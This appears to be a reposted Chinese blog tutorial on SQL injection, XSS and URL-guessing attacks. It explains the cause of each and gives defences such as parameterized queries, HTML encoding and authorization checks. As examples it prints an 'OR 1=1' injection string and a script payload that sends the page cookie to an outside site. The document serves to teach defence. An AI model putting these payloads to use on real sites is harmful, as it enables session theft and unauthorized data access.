網際網路專案裡邊，SQL注入漏洞、XSS漏洞和猜測URL攻擊這三個漏洞可謂歷史悠久，然而直到今天還有人不斷中槍，也真是微醺。

這幾個漏洞說大也大，說小也小。說大是說這些漏洞危害大，會導致資料層面的安全問題；說小是從技術層面上講都是未對外部輸入做處理導致的，想要做針對性地防範很簡單。下面簡單看看這些漏洞的原因及防範方法。

SQL注入

SQL注入之所以存在，主要是因為工程師將外部的輸入直接嵌入到將要執行的SQL語句中了。黑客可以利用這一點執行SQL指令來達到自己目的。舉例來說，有一個接受引數為id的頁面，在接收到id後從資料庫中查詢相應的資料， 其程式碼大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

​正常情況下，Request[“ID”]為數字，這條SQL能很好地工作。如果我們認為修改Request[“ID”]，將其內容修改為?ID=1 OR 1=1 我們將得到這樣一條SQL:

​SELECT * FROM [User] WHERE ID=1 OR 1=1

因為有OR的出現這條SQL語句已經可以獲取User表中的任意資訊。利用SQL注入漏洞，我們能夠獲取想要的資訊，同時可以通過猜測-報錯獲取到資料庫其它表的結構和資訊，如果資料庫、伺服器許可權設定不當，甚至有可能能獲取到整個伺服器的控制權限。

規避這種漏洞有很多種辦法，以現代的程式語言來說，選擇一個合適的ORM框架可以減少不少問題而且能大大提高開發效率。

如果因為某些原因需要繼續寫SQL語句，引數化查詢也能解決這一問題。

對於需要拼接SQL語句的程式來說，注意兩點也可以避免此問題。第一點是如果查詢的欄位型別是數字等型別，在拼接SQL前先判斷輸入是不是一個合法的數字，不合法則終止程式即可。第二點是如果欄位型別是字串，則記得將輸入裡的的單引號進行轉義。

XSS攻擊

如果說SQL注入是直接在SQL裡執行了使用者輸入，那XSS攻擊是在HTML裡程式碼執行了使用者輸入。相對SQL注入，XSS似乎更能引起人關注。幾年前新浪微博被人利用XSS獲取大量粉絲；3DM也曾經被植入script程式碼對另一個遊戲網站進行了慘無人道的DDOS攻擊。

這裡還是用SQL注入中的例子來說，假設頁面輸出為：

​<div><%= Request["ID"] %></div>

這裡我們可以在Request[“ID”]裡傳入一段編碼後的指令碼，在最終輸出的時候，就變成了一段可執行的javascript程式碼。

<script>window.location.href=’anothersite.com?cookie=’ + document.cookie;</script>

這段程式碼獲取到當前頁面的cookie值，並將cookie值傳遞到另一個名為anothersite.com的網站。利用這種模式，黑客可以獲取到使用者的登入資訊或者將使用者跳轉到釣魚網站來達成自己的目的。

XSS攻擊也可以簡單分為兩種，一種是上述例子中利用url引誘客戶點選來實現；另一種是通過儲存到資料庫，在其它使用者獲取相關資訊時來執行指令碼。

防範XSS攻擊需要在所有的欄位都對輸入的字串進行html encode（或者在輸出時進行encode）。如果需要使用富文字編輯的，可以考慮使用UBB。

猜測URL攻擊

猜測URL攻擊是通過已知的GET、POST引數來猜測未公開的引數並嘗試進行攻擊。

以Request[“ID”]為例，如果ID為1是合法的可訪問的資料，可以通過嘗試ID=2，ID=3等一系列來嘗試是否對其它資源有訪問、修改許可權。如果控制不當，則可以輕鬆獲得並修改資料。

要避免這種問題，方案一是使用較長的無規律的數字、字元來做為ID，增大猜測難度；對於需要登入的程式，可以判斷使用者身份是否有對應ID資料的訪問、修改許可權；如果ID已經是自增型別且不需要登入，可以用過在URL裡增加無規律的校驗欄位來避免。

其它需要注意的地方

安全是一個系統工程。

要提高系統安全性，最首要的一點是不要相信任何輸入！不要相信任何輸入！不要相信任何輸入！重要的事情說三遍。這裡的輸入除了URL裡的GET引數、POST引數，還包括COOKIE、Header等可以進行修改的各類資訊。

在程式設定方面，不輸出客戶不需要知道的各類資訊，如原始的異常資訊、異常附近的程式碼段等等，這樣也能增加不少安全性。

最後，在測試或系統執行的過程中，可以使用類似appscan這樣的安全檢測工具來檢查程式是否有漏洞。

原文出處：http://www.cnblogs.com/mingxing/p/4568269.html